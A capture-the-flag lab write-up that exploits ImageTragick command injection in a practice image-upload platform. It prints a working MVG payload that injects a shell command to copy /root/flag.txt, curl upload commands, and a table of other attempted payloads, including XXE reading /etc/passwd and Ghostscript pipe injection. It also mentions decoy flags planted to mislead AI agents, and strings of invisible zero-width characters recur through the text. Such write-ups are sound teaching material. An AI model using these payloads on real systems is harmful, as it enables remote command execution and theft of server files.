← Back to Writeups
CUSTOMMediumWeb

Lab 94 — MediaForge — ImageMagick Command Injection via File Upload (ImageTragick)

XESXOR9/10/20264 min read
#web#custom#medium#blind_command_injection_file_e#honeypot_decoy_flag_recognitio#imagemagick_format_autodetecti#imagetragick_delegate_command_#mvg_url_directive_shell_inject#cve-2016-3714#linux

Lab 94 — MediaForge — ImageMagick Command Injection via File Upload (ImageTragick)

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: blind_command_injection_file_exfiltration, honeypot_decoy_flag_recognition, imagemagick_format_autodetection_bypass, imagetragick_delegate_command_injection, mvg_url_directive_shell_injection

Summary

Task: Content publishing platform with server-side image processing using ImageMagick 6.9.10-23 with misconfigured policy.xml allowing vulnerable delegates. Solution: exploit ImageTragick (CVE-2016-3714) via MVG file with shell metacharacter injection in url() directive to read /root/flag.txt and write it to a web-accessible path.

Lab 94 — MediaForge — ImageMagick Command Injection (ImageTragick) — HackAdvisor

Description

MediaForge is a modern content publishing platform where creators write articles, upload images, and build their online portfolio. The platform features a rich media library with automatic image processing that generates thumbnails and optimized versions for fast delivery. Users can create blog posts with embedded media from their library. The platform supports drag-and-drop uploads and processes images server-side for web optimization. You have been provided a standard user account to assess the platform's security posture. Your goal is to find and exploit a vulnerability that allows you to read sensitive files from the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP-based content publishing platform running ImageMagick 6.9.10-23 on nginx. The platform processes uploaded images server-side to generate thumbnails. The goal is to exploit a command injection vulnerability in ImageMagick's delegate system (ImageTragick / CVE-2016-3714) to read /root/flag.txt from the server.

Credentials: testuser@mediaforge.io / password123

Analysis

Reconnaissance

After logging in via POST /login, the platform reveals its architecture:

  • Backend: PHP 8.1.32 on nginx/1.25.5
  • Image processing: ImageMagick 6.9.10-23 with PHP imagick extension
  • Upload endpoint: POST /media/upload (field name: image)
  • Accepted formats: JPG, JPEG, PNG, GIF, WebP, SVG (max 10 MB)
  • Thumbnail generation: Valid raster images (PNG/GIF/JPEG) get thumbnails in /uploads/thumbnails/thumb_*
  • SVG handling: Stored as-is without thumbnail generation (not processed by ImageMagick's raster pipeline) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key discovery: An HTML footer comment revealed "Media processing: ImageMagick 6.9 / PHP imagick pipeline", and the upload response JSON confirmed the exact version: ImageMagick/6.9.10-23.

Vulnerability Identification

The challenge title explicitly references ImageTragick — CVE-2016-3714, a critical command injection vulnerability in ImageMagick's delegate system.

How ImageTragick works:

  1. ImageMagick uses "delegates" — external programs (wget, curl, etc.) — to handle certain protocols and formats
  2. When ImageMagick encounters a URL reference (e.g., in MVG format's url() directive), it constructs a shell command to fetch the URL via the HTTPS delegate
  3. If the URL contains shell metacharacters (pipes |, backticks, $()), they get executed as commands
  4. Although ImageMagick 6.9.10-23 has patches for this CVE, the challenge's policy.xml is intentionally misconfigured to allow the vulnerable delegates ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

The HTML source contains honeypot flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — these are fake and designed to trick automated scanners and AI agents. Always verify flags against the actual challenge objective.

Solution

Step 1: Craft the MVG Exploit

Created an MVG (Magick Vector Graphics) file with command injection in the url() directive. The file is saved with a .jpg extension because ImageMagick auto-detects the actual format from file content, not the extension:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|cat /root/flag.txt > /app/data/uploads/output.txt")'
pop graphic-context

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

How the payload works:

  1. ImageMagick reads the file and auto-detects it as MVG format (regardless of .jpg extension)
  2. It processes the fill url() directive and encounters the HTTPS URL
  3. The HTTPS delegate constructs a shell command to fetch the URL
  4. The shell metacharacters "|cat /root/flag.txt > /app/data/uploads/output.txt" break out of the URL argument and execute as a separate command
  5. The flag content from /root/flag.txt is written to the web-accessible directory /app/data/uploads/output.txt ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Upload the Exploit

bash
# Login and save session cookies
curl -s -c cookies.txt -X POST "$BASE_URL/login" \
  -d "email=testuser@mediaforge.io&password=password123"

# Upload the MVG payload disguised as JPEG
curl -s -b cookies.txt -X POST "$BASE_URL/media/upload" \
  -F "image=@exploit.jpg;type=image/jpeg"

Response confirmed processing:

json
{
  "success": true,
  "media": {"processed_by": "ImageMagick/6.9.10-23"},
  "message": "Image uploaded and processed successfully"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Retrieve the Flag

bash
curl -s "$BASE_URL/uploads/output.txt"

Output:

FLAG{REDACTED}

What Did NOT Work

AttemptResult
MVG payloads writing to /var/www/html/uploads/Wrong path — actual web root is /app/data/uploads/
SVG with xlink:href pipe commandsSVGs stored as-is, not processed by ImageMagick
SVG with XXE (file:///etc/passwd)No XML entity processing
GhostScript %pipe% payloads (EPS/PS)Format not processed
MSL (Magick Scripting Language) payloadsFormat blocked by policy
Filename injection (backticks, $())Filenames sanitized by server
SVG disguised as PNG (.png extension)Detected as SVG, no thumbnail processing
MVG payloads with cat /flag (no /root/ prefix)Wrong flag path
Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}Honeypot for bots/scanners
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍